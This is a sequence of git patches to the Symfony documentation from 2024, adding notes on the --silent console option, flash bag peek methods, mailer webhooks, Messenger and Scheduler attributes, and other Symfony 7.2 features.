+.. _doctrine-adding-mapping:
+
 Creating an Entity Class
 ------------------------
 
@@ -91,8 +93,6 @@ Suppose you're building an application where products need to be displayed.
 Without even thinking about Doctrine or databases, you already know that
 you need a ``Product`` object to represent those products.
 
-.. _doctrine-adding-mapping:
-
 You can use the ``make:entity`` command to create this class and any fields you
 need. The command will ask you some questions - answer them like done below:
 
@@ -1107,7 +1107,6 @@ Learn more
     doctrine/dbal
     doctrine/multiple_entity_managers
     doctrine/resolve_target_entity
-    doctrine/reverse_engineering
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
deleted file mode 100644
index 35c8e729c2d..00000000000
--- a/doctrine/reverse_engineering.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Generate Entities from an Existing Database
-==================================================
-
-.. caution::
-
-    The ``doctrine:mapping:import`` command used to generate Doctrine entities
-    from existing databases was deprecated by Doctrine in 2019 and there's no
-    replacement for it.
-
-    Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
-    to help you generate the code of your Doctrine entities. This command
-    requires manual supervision because it doesn't generate entities from
-    existing databases.
-
-.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 2492dd1a3dc9df692c3061009ba9d21bd9ef8b16 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Sep 2024 08:56:16 +0200
Subject: [PATCH 6402/7107] [Console] Document the silent verbosity level

---
 components/console/usage.rst |  8 ++++++++
 console/input.rst            |  7 ++++++-
 console/verbosity.rst        | 23 ++++++++++++++++++++---
 3 files changed, 34 insertions(+), 4 deletions(-)

diff --git a/components/console/usage.rst b/components/console/usage.rst
index d7725e8926e..591994948b8 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -65,9 +65,17 @@ You can suppress output with:
 
 .. code-block:: terminal
 
+    # suppresses all output, including errors
+    $ php application.php list --silent
+
+    # suppresses all output except errors
     $ php application.php list --quiet
     $ php application.php list -q
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 You can get more verbose messages (if this is supported for a command)
 with:
 
diff --git a/console/input.rst b/console/input.rst
index 6e7fc85a055..c038ace56fc 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -446,12 +446,17 @@ The Console component adds some predefined options to all commands:
 
 * ``--verbose``: sets the verbosity level (e.g. ``1`` the default, ``2`` and
   ``3``, or you can use respective shortcuts ``-v``, ``-vv`` and ``-vvv``)
-* ``--quiet``: disables output and interaction
+* ``--silent``: disables all output and interaction, including errors
+* ``--quiet``: disables output and interaction, but errors are still displayed
 * ``--no-interaction``: disables interaction
 * ``--version``: outputs the version number of the console application
 * ``--help``: displays the command help
 * ``--ansi|--no-ansi``: whether to force of disable coloring the output
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 When using the ``FrameworkBundle``, two more options are predefined:
 
 * ``--env``: sets the Kernel configuration environment (defaults to ``APP_ENV``)
diff --git a/console/verbosity.rst b/console/verbosity.rst
index f7a1a1e5e59..9910dca0c3d 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -7,7 +7,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options
 
 .. code-block:: terminal
 
-    # do not output any message (not even the command result messages)
+    # suppress all output, including errors
+    $ php bin/console some-command --silent
+
+    # suppress all output (even the command result messages) but display errors
     $ php bin/console some-command -q
     $ php bin/console some-command --quiet
 
@@ -23,6 +26,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options
     # display all messages (useful to debug errors)
     $ php bin/console some-command -vvv
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 The verbosity level can also be controlled globally for all commands with the
 ``SHELL_VERBOSITY`` environment variable (the ``-q`` and ``-v`` options still
 have more precedence over the value of ``SHELL_VERBOSITY``):
@@ -30,6 +37,7 @@ have more precedence over the value of ``SHELL_VERBOSITY``):
 =====================  =========================  ===========================================
 Console option         ``SHELL_VERBOSITY`` value  Equivalent PHP constant
 =====================  =========================  ===========================================
+``--silent``           ``-2``                     ``OutputInterface::VERBOSITY_SILENT``
 ``-q`` or ``--quiet``  ``-1``                     ``OutputInterface::VERBOSITY_QUIET``
 (none)                 ``0``                      ``OutputInterface::VERBOSITY_NORMAL``
 ``-v``                 ``1``                      ``OutputInterface::VERBOSITY_VERBOSE``
@@ -58,7 +66,7 @@ level. For example::
                 'Password: '.$input->getArgument('password'),
             ]);
 
-            // available methods: ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
+            // available methods: ->isSilent(), ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
             if ($output->isVerbose()) {
                 $output->writeln('User class: '.get_class($user));
             }
@@ -73,10 +81,19 @@ level. For example::
         }
     }
 
-When the quiet level is used, all output is suppressed as the default
+.. versionadded:: 7.2
+
+    The ``isSilent()`` method was introduced in Symfony 7.2.
+
+When the silent or quiet level are used, all output is suppressed as the default
 :method:`Symfony\\Component\\Console\\Output\\Output::write` method returns
 without actually printing.
 
+.. tip::
+
+    When using the ``silent`` verbosity, errors won't be displayed in the console
+    but they will still be logged through the :doc:`Symfony logger </logging>` integration.
+
 .. tip::
 
     The MonologBridge provides a :class:`Symfony\\Bridge\\Monolog\\Handler\\ConsoleHandler`

From 1be72a205aa3a154a549dc3a2eb3940b850ed55c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Geffroy?=
 <81738559+raphael-geffroy@users.noreply.github.com>
Date: Fri, 6 Sep 2024 22:36:36 +0200
Subject: [PATCH 6403/7107] Add examples for flashbag peek and peekAll methods

---
 session.rst | 38 ++++++++++++++++++++++++++++++++------
 1 file changed, 32 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index a212acf9993..854c84d4f3d 100644
--- a/session.rst
+++ b/session.rst
@@ -181,7 +181,10 @@ can be anything. You'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),
 read any flash messages from the session using the ``flashes()`` method provided
-by the :ref:`Twig global app variable <twig-app-variable>`:
+by the :ref:`Twig global app variable <twig-app-variable>`.
+Alternatively, you can use the
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
+method instead to retrieve the message while keeping it in the bag.
 
 .. configuration-block::
 
@@ -196,6 +199,13 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             </div>
         {% endfor %}
 
+        {# same but without clearing them from the flash bag #}
+        {% for message in app.session.flashbag.peek('notice') %}
+            <div class="flash-notice">
+                {{ message }}
+            </div>
+        {% endfor %}
+
         {# read and display several types of flash messages #}
         {% for label, messages in app.flashes(['success', 'warning']) %}
             {% for message in messages %}
@@ -214,6 +224,15 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             {% endfor %}
         {% endfor %}
 
+        {# or without clearing the flash bag #}
+        {% for label, messages in app.session.flashbag.peekAll() %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
     .. code-block:: php-standalone
 
         // display warnings
@@ -221,6 +240,11 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             echo '<div class="flash-warning">'.$message.'</div>';
         }
 
+        // display warnings without clearing them from the flash bag
+        foreach ($session->getFlashBag()->peek('warning', []) as $message) {
+            echo '<div class="flash-warning">'.$message.'</div>';
+       }
+
         // display errors
         foreach ($session->getFlashBag()->get('error', []) as $message) {
             echo '<div class="flash-error">'.$message.'</div>';
@@ -233,15 +257,17 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             }
         }
 
+        // display all flashes at once without clearing the flash bag
+        foreach ($session->getFlashBag()->peekAll() as $type => $messages) {
+            foreach ($messages as $message) {
+                echo '<div class="flash-'.$type.'">'.$message.'</div>';
+            }
+        }
+
 It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
 different types of flash messages, but you can use any key that fits your
 needs.
 
-.. tip::
-
-    You can use the
-    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    method instead to retrieve the message while keeping it in the bag.
 
 Configuration
 -------------

From cc96d7c59b4893a499c9bb2dc5fce240edffcf15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 12:45:29 +0200
Subject: [PATCH 6404/7107] Minor tweak

---
 session.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 854c84d4f3d..78f71b9d46d 100644
--- a/session.rst
+++ b/session.rst
@@ -184,7 +184,7 @@ read any flash messages from the session using the ``flashes()`` method provided
 by the :ref:`Twig global app variable <twig-app-variable>`.
 Alternatively, you can use the
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-method instead to retrieve the message while keeping it in the bag.
+method to retrieve the message while keeping it in the bag:
 
 .. configuration-block::
 
@@ -268,7 +268,6 @@ It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
 different types of flash messages, but you can use any key that fits your
 needs.
 
-
 Configuration
 -------------
 

From ecb343bf576206de34d57a190447b1128684d8cf Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 27 Sep 2024 13:05:03 +0200
Subject: [PATCH 6405/7107] [Webhook] add Mailtrap webhook docs

---
 webhook.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index 176abc49cd2..e2c7083ac43 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -28,6 +28,7 @@ MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Mailomat       ``mailer.webhook.request_parser.mailomat``
+Mailtrap       ``mailer.webhook.request_parser.mailtrap``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
@@ -40,7 +41,8 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat`` and ``Sweego`` integrations were introduced in Symfony 7.2.
+    The ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    Symfony 7.2.
 
 .. note::
 

From 0bb5a68545d695d7bf9f9ec31843920756ffdf44 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Sep 2024 09:51:52 +0200
Subject: [PATCH 6406/7107] [String] Add the `AbstractString::kebab()` method

---
 string.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/string.rst b/string.rst
index f2856976986..d9fdeded470 100644
--- a/string.rst
+++ b/string.rst
@@ -232,6 +232,8 @@ Methods to Change Case
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
     // changes all graphemes/code points to snake_case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
+    // changes all graphemes/code points to kebab-case
+    u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
     // other cases can be achieved by chaining methods. E.g. PascalCase:
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
@@ -240,6 +242,10 @@ Methods to Change Case
     The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
     introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``kebab()`` method was introduced in Symfony 7.2.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From d810f6caabcc1960f5e3d7ffde08a44fa2733fb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Sep 2024 10:09:10 +0200
Subject: [PATCH 6407/7107] Minor tweaks

---
 configuration.rst | 13 ++++---------
 1 file changed, 4 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 52dc9b98c95..5ebe952740e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -385,22 +385,17 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 Configuration parameters are usually validation-free, but you can ensure that
 essential parameters for your application's functionality are not empty::
 
-    // ContainerBuilder
-    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to configure a non-empty value for "app.private_key" parameter?');
+    /** @var ContainerBuilder $container */
+    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to set a value for the "app.private_key" parameter?');
 
 If a non-empty parameter is ``null``, an empty string ``''``, or an empty array ``[]``,
-Symfony will throw an exception with the custom error message when attempting to
-retrieve the value of this parameter.
+Symfony will throw an exception. This validation is **not** made at compile time
+but when attempting to retrieve the value of the parameter.
 
 .. versionadded:: 7.2
 
     Validating non-empty parameters was introduced in Symfony 7.2.
 
-.. note::
-
-    Please note that this validation will *only* occur if a non-empty parameter value
-    is retrieved; otherwise, no exception will be thrown.
-
 .. seealso::
 
     Later in this article you can read how to

From a3815364478bdf7d2569655a1092880f06bfc94d Mon Sep 17 00:00:00 2001
From: Pierre Rineau <pierre.rineau@makina-corpus.com>
Date: Fri, 28 Jun 2024 12:34:40 +0200
Subject: [PATCH 6408/7107] [Messenger] document the #[AsMessage] attribute

---
 messenger.rst            | 49 ++++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |  1 +
 2 files changed, 50 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index cecb84d9dec..8ba335b4e2b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -345,6 +345,55 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
+.. _messenger-message-attribute:
+
+Configuring Routing Using Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can optionally use the `#[AsMessage]` attribute to configure message transport::
+
+    // src/Message/SmsNotification.php
+    namespace App\Message;
+
+    use Symfony\Component\Messenger\Attribute\AsMessage;
+
+    #[AsMessage(transport: 'async')]
+    class SmsNotification
+    {
+        public function __construct(
+            private string $content,
+        ) {
+        }
+
+        public function getContent(): string
+        {
+            return $this->content;
+        }
+    }
+
+.. note::
+
+    If you configure routing with both configuration and attributes, the
+    configuration will take precedence over the attributes and override
+    them. This allows to override routing on a per-environment basis
+    for example:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        when@dev:
+            framework:
+                messenger:
+                    routing:
+                        # override class attribute
+                        'App\Message\SmsNotification': sync
+
+.. tip::
+
+    The `$transport` parameter can be either a `string` or an `array`: configuring multiple
+    transports is possible. You may also repeat the attribute if you prefer instead of using
+    an array.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 559893ca2e4..19a27b71793 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -79,6 +79,7 @@ HttpKernel
 Messenger
 ~~~~~~~~~
 
+* :ref:`AsMessage <messenger-message-attribute>`
 * :ref:`AsMessageHandler <messenger-handler>`
 
 RemoteEvent

From fc90d8335327ab9f3a4989e6a16349c794a500a2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Tue, 1 Oct 2024 08:07:25 +0200
Subject: [PATCH 6409/7107] [Scheduler] Add example about how to pass arguments
 to a Symfony command

---
 scheduler.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..a77d2239259 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -473,6 +473,20 @@ The attribute takes more parameters to customize the trigger::
     // defines the timezone to use
     #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
 
+Arguments/options for Symfony commands are passed as plain string::
+
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')]
+    class MyCommand extends Command
+    {
+        protected function configure(): void
+        {
+            $this->addArgument('my-arg');
+            $this->addOption('my-option');
+        }
+    }
+
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
@@ -522,6 +536,20 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
+Arguments/options for Symfony commands are passed as plain string::
+
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')]
+    class MyCommand extends Command
+    {
+        protected function configure(): void
+        {
+            $this->addArgument('my-arg');
+            $this->addOption('my-option');
+        }
+    }
+
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute

From a8a0e2beed33617c7143fbbeaabee884f3b9f357 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Sep 2024 10:25:40 +0200
Subject: [PATCH 6410/7107] [AssetMapper] Document the filtering options of
 debug:asset-map

---
 frontend/asset_mapper.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f6300e7adb9..6987718381f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -137,6 +137,28 @@ This will show you all the mapped paths and the assets inside of each:
 The "Logical Path" is the path to use when referencing the asset, like
 from a template.
 
+The ``debug:asset-map`` command provides several options to filter results:
+
+.. code-block:: terminal
+
+    # provide an asset name or dir to only show results that match it
+    $ php bin/console debug:asset-map bootstrap.js
+    $ php bin/console debug:asset-map style/
+
+    # provide an extension to only show that file type
+    $ php bin/console debug:asset-map --ext=css
+
+    # you can also only show assets in vendor/ dir or exclude any results from it
+    $ php bin/console debug:asset-map --vendor
+    $ php bin/console debug:asset-map --no-vendor
+
+    # you can also combine all filters (e.g. find bold web fonts in your own asset dirs)
+    $ php bin/console debug:asset-map bold --no-vendor --ext=woff2
+
+.. versionadded:: 7.2
+
+    The options to filter ``debug:asset-map`` results were introduced in Symfony 7.2.
+
 .. _importmaps-javascript:
 
 Importmaps & Writing JavaScript

From 476c1c1e6795e3384f6d392036147727af627528 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 1 Oct 2024 04:12:12 -0400
Subject: [PATCH 6411/7107] [Mailer] mark Mailtrap as having Webhook support

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a8d0eda3072..2954fa7217a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -109,7 +109,7 @@ Service               Install with                                    Webhook su
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
-`Mailtrap`_           ``composer require symfony/mailtrap-mailer``
+`Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes

From 9ac77eefb559c3e223722db352b485c374df9f98 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Tue, 1 Oct 2024 13:12:01 +0200
Subject: [PATCH 6412/7107] [Validator] Add example for passing groups and
 payload to the Compound constraint

---
 reference/constraints/Compound.rst | 44 ++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index fc8081f5917..0d0dc933ae0 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -102,6 +102,50 @@ You can now use it anywhere you need it:
             }
         }
 
+Validation groups and payload can be passed via constructor:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordRequirements(
+                groups: ['registration'],
+                payload: ['severity' => 'error'],
+            )]
+            public string $plainPassword;
+        }
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements(
+                    groups: ['registration'],
+                    payload: ['severity' => 'error'],
+                ));
+            }
+        }
+
+.. versionadded:: 7.2
+
+    Support for passing validation groups and the payload to the constructor
+    of the ``Compound`` class was introduced in Symfony 7.2.
+
 Options
 -------
 

From 743f4c6096f7d6fdd9fc968e402c486064a3b9a6 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Tue, 1 Oct 2024 14:45:15 +0200
Subject: [PATCH 6413/7107] Document logical xor in expression language

---
 reference/formats/expression_language.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index f902087d380..368c95bc2a8 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -345,6 +345,11 @@ Logical Operators
 * ``not`` or ``!``
 * ``and`` or ``&&``
 * ``or`` or ``||``
+* ``xor``
+
+.. versionadded:: 7.2
+
+    Support for the ``xor`` logical operator was introduced in Symfony 7.2.
 
 For example::
 
@@ -487,6 +492,8 @@ The following table summarizes the operators and their associativity from the
 +-----------------------------------------------------------------+---------------+
 | ``and``, ``&&``                                                 | left          |
 +-----------------------------------------------------------------+---------------+
+| ``xor``                                                         | left          |
++-----------------------------------------------------------------+---------------+
 | ``or``, ``||``                                                  | left          |
 +-----------------------------------------------------------------+---------------+
 

From e8084a2413e3675713321e3749fe9bbbc37eea79 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Tue, 1 Oct 2024 16:10:51 +0200
Subject: [PATCH 6414/7107] [Mailer][Webhook] Mandrill Webhook support

---
 mailer.rst  | 2 +-
 webhook.rst | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2954fa7217a..3dbf8a79575 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,7 +110,7 @@ Service               Install with                                    Webhook su
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
-`Mandrill`_           ``composer require symfony/mailchimp-mailer``
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``   yes
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes
diff --git a/webhook.rst b/webhook.rst
index e2c7083ac43..6b79da037e4 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -24,6 +24,7 @@ Currently, the following third-party mailer providers support webhooks:
 Mailer Service Parser service name
 ============== ============================================
 Brevo          ``mailer.webhook.request_parser.brevo``
+Mandrill       ``mailer.webhook.request_parser.mailchimp``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
@@ -41,7 +42,7 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    The ``Mandrill``,  ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
     Symfony 7.2.
 
 .. note::

From cc5d2a17fe786cf951bbc1d0e016a6a6c5944a7d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 1 Oct 2024 21:29:48 +0200
Subject: [PATCH 6415/7107] [DomCrawler] Fixing code typo

Page: https://symfony.com/doc/6.4/components/dom_crawler.html#accessing-node-values
---
 components/dom_crawler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 4440a35f0ea..00e5d8795ea 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -277,7 +277,7 @@ The result is an array of values returned by the anonymous function calls.
 When using nested crawler, beware that ``filterXPath()`` is evaluated in the
 context of the crawler::
 
-    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid {
+    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): void {
         // DON'T DO THIS: direct child can not be found
         $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag');
 

From 6e2045a3ed2689f9443eb062ea15a54b7261e781 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Wed, 2 Oct 2024 07:21:30 +0200
Subject: [PATCH 6416/7107] [Messenger] Describe the options of the
 messenger:failed:retry command

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index cecb84d9dec..9f75ce33bed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1173,6 +1173,8 @@ to retry them:
     $ php bin/console messenger:failed:show 20 -vv
 
     # view and retry messages one-by-one
+    # for each message the command asks whether the message should be retried,
+    # skipped or deleted
     $ php bin/console messenger:failed:retry -vv
 
     # retry specific messages
@@ -1191,6 +1193,11 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+.. versionadded:: 7.2
+
+    The possibility to skip a message in the `messenger:failed:retry`
+    command was introduced in Symfony 7.2
+
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9cedefa06ba903f301ccebd2281d4649e42544e5 Mon Sep 17 00:00:00 2001
From: Damien Louis <72412142+damien-louis@users.noreply.github.com>
Date: Tue, 1 Oct 2024 13:54:01 +0200
Subject: [PATCH 6417/7107] Update testing.rst

---
 testing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing.rst b/testing.rst
index 281f8c45ad8..ae9a42b9b2c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -759,6 +759,10 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
+To set a specific firewall (``main`` is set by default)::
+
+    $client->loginUser($testUser, 'my_firewall');
+
 .. note::
 
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.

From 795148ee5958773c4f7be614f56358663a677380 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Oct 2024 17:46:12 +0200
Subject: [PATCH 6418/7107] Minor tweaks

---
 messenger.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9f75ce33bed..add197e8df6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1172,9 +1172,7 @@ to retry them:
     # see details about a specific failure
     $ php bin/console messenger:failed:show 20 -vv
 
-    # view and retry messages one-by-one
-    # for each message the command asks whether the message should be retried,
-    # skipped or deleted
+    # for each message, this command asks whether to retry, skip, or delete
     $ php bin/console messenger:failed:retry -vv
 
     # retry specific messages
@@ -1195,8 +1193,8 @@ retry has been hit, the message will be discarded permanently.
 
 .. versionadded:: 7.2
 
-    The possibility to skip a message in the `messenger:failed:retry`
-    command was introduced in Symfony 7.2
+    The option to skip a message in the ``messenger:failed:retry`` command was
+    introduced in Symfony 7.2
 
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~

From 50ab3eed6e865d381b3ef914529a63f0a9bb5395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Oct 2024 08:37:24 +0200
Subject: [PATCH 6419/7107] [Mailer] Support unicode email addresses

---
 mailer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 2954fa7217a..e21951df557 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -542,6 +542,10 @@ both strings or address objects::
         // email address as a simple string
         ->from('fabien@example.com')
 
+        // non-ASCII characters are supported both in the local part and the domain;
+        // if the SMTP server doesn't support this feature, you'll see an exception
+        ->from('jânë.dœ@ëxãmplę.com')
+
         // email address as an object
         ->from(new Address('fabien@example.com'))
 
@@ -556,6 +560,11 @@ both strings or address objects::
         // ...
     ;
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can

From 861a0968eec52f837115b5667a18df6485bd2ced Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sun, 6 Oct 2024 19:28:44 +0200
Subject: [PATCH 6420/7107] [Console] Document FinishedIndicator for Progress
 indicator

---
 .../console/helpers/progressindicator.rst     | 20 +++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index d64ec6367b7..dd18c6bdbc9 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
